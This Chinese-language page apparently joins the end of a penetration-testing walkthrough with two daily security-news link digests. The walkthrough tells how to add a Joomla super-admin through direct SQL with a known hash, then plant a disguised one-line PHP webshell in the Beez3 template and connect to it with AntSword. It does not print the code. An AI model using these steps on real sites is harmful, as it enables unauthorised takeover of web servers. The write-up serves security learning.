在搜索的时候发现joomla官网虽然没有直接公布密码的加密方式，但是它为了防止用户忘记密码增加了一个添加超级管理员用户的方式，就是通过登录数据库执行sql语句达到新建超级管理员的效果 这里我们可以发现sql语句中的VALUES中的第三项为密文，这里我们为了方便就是用他给我们的这一串密文，这里对应的密码为secret，当然也可以用其他对应的密文如下所示 在navicat中执行sql语句，注意这里要分开执行两个INSERT INTO否则回报错，这里相当于我们添加了一个admin2 secret这个新的超级管理员用户 登录joomla后台 使用admin2 secret登录joomla后台 登录成功，进入后台后的操作一般都是找可以上传文件的地方上传图片马或者找一个能够写入sql语句的地方 这里经过谷歌后发现，joomla的后台有一个模板的编辑处可以写入文件，这里找到Extensions->Template->Templates 这里选择Beez3这个模板进入编辑 这里因为模板前面有<?php前缀，所以这里我们需要将一句话木马稍微变形一下，然后保存即可 这里使用蚁剑连接成功 （后续见下篇）

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Cisco Talos 披露研华路由器监控工具存在严重漏洞 https://securityaffairs.co/wordpress/120307/iot/advantech-router-monitoring-tool-flaws.html 2、攻击者称从沙特阿美公司窃取了 1 TB 的敏感数据 https://securityaffairs.co/wordpress/120301/data-breach/saudi-aramco-data-breach.html 3、Pegasus项目-针对记者的大规模监控活动 https://securityaffairs.co/wordpress/120291/malware/pegasus-project-nso-pegasus-spywar.html 4、iOS WiFi SSID 格式化字符串拒绝服务漏洞可实现RCE攻击 https://thehackernews.com/2021/07/turns-out-that-low-risk-ios-wi-fi.html 5、TeaBot 木马瞄准更多欧洲银行 https://cyware.com/news/teabot-trojan-striking-harder-targeting-more-european-banks-5704aa3c 6、WooCommerce修复了使500万个网站数据被盗的漏洞 https://www.bleepingcomputer.com/news/security/woocommerce-fixes-vulnerability-exposing-5-million-sites-to-data-theft/ 7、施耐德修复了EVlink电动汽车充电站的漏洞 https://portswigger.net/daily-swig/schneider-electric-fixes-critical-vulnerabilities-in-evlink-electric-vehicle-charging-stations 8、Artwork Archive云存储桶配置错误泄露用户信息 https://www.zdnet.com/article/artwork-archive-cloud-storage-misconfiguration-exposed-user-data-revenue-records/ 9、SolarWinds黑客利用iOS 0day漏洞入侵iPhone https://www.hackread.com/solarwinds-hackers-ios-zero-day-hack-iphones/ 10、RansomEXX勒索软件攻击了厄瓜多尔CNT国营电信公司 https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Instagram实施“安全检查”帮助用户恢复受损账户 https://securityaffairs.co/wordpress/120260/security/instagram-security-checkup.html 2、思科修复ASA、FTD软件中的高危DoS漏洞 https://securityaffairs.co/wordpress/120231/security/cisco-dos-flaw-asa-ftd.html 3、D-Link针对DIR-3040路由器中的多个漏洞发布测试版修补程序 https://securityaffairs.co/wordpress/120224/hacking/d-link-dir-3040-flaws.html 4、Microsoft发布新的 Windows Print Spooler 漏洞警报 https://securityaffairs.co/wordpress/120212/security/new-windows-print-spooler-vulnerability.html 5、Chrome更新修复了一个在野利用的0day漏洞 https://securityaffairs.co/wordpress/120205/security/google-chrome-zero-day-2.html 6、CloudFlare CDNJS 漏洞可能导致广泛的供应链攻击 https://thehackernews.com/2021/07/cloudflare-cdnjs-bug-could-have-led-to.html 7、HelloKitty 勒索软件针对易受攻击的 SonicWall 设备 https://securityaffairs.co/wordpress/120249/malware/hellokitty-ransomware-sonicwall-devices.html 8、密码学家发现 Telegram 加密协议中的漏洞 https://www.cyberscoop.com/telegram-app-security-encryption/ 9、美国政府计划从加密货币着手打击网络犯罪 https://www.cyberscoop.com/us-government-crypocurrency-ransomware-criminals-treasury-state-reward/ 10、工业自动化系统MDT AutoSave 修复了多个高危漏洞 https://www.securityweek.com/several-vulnerabilities-patched-mdt-autosave-industrial-automation-product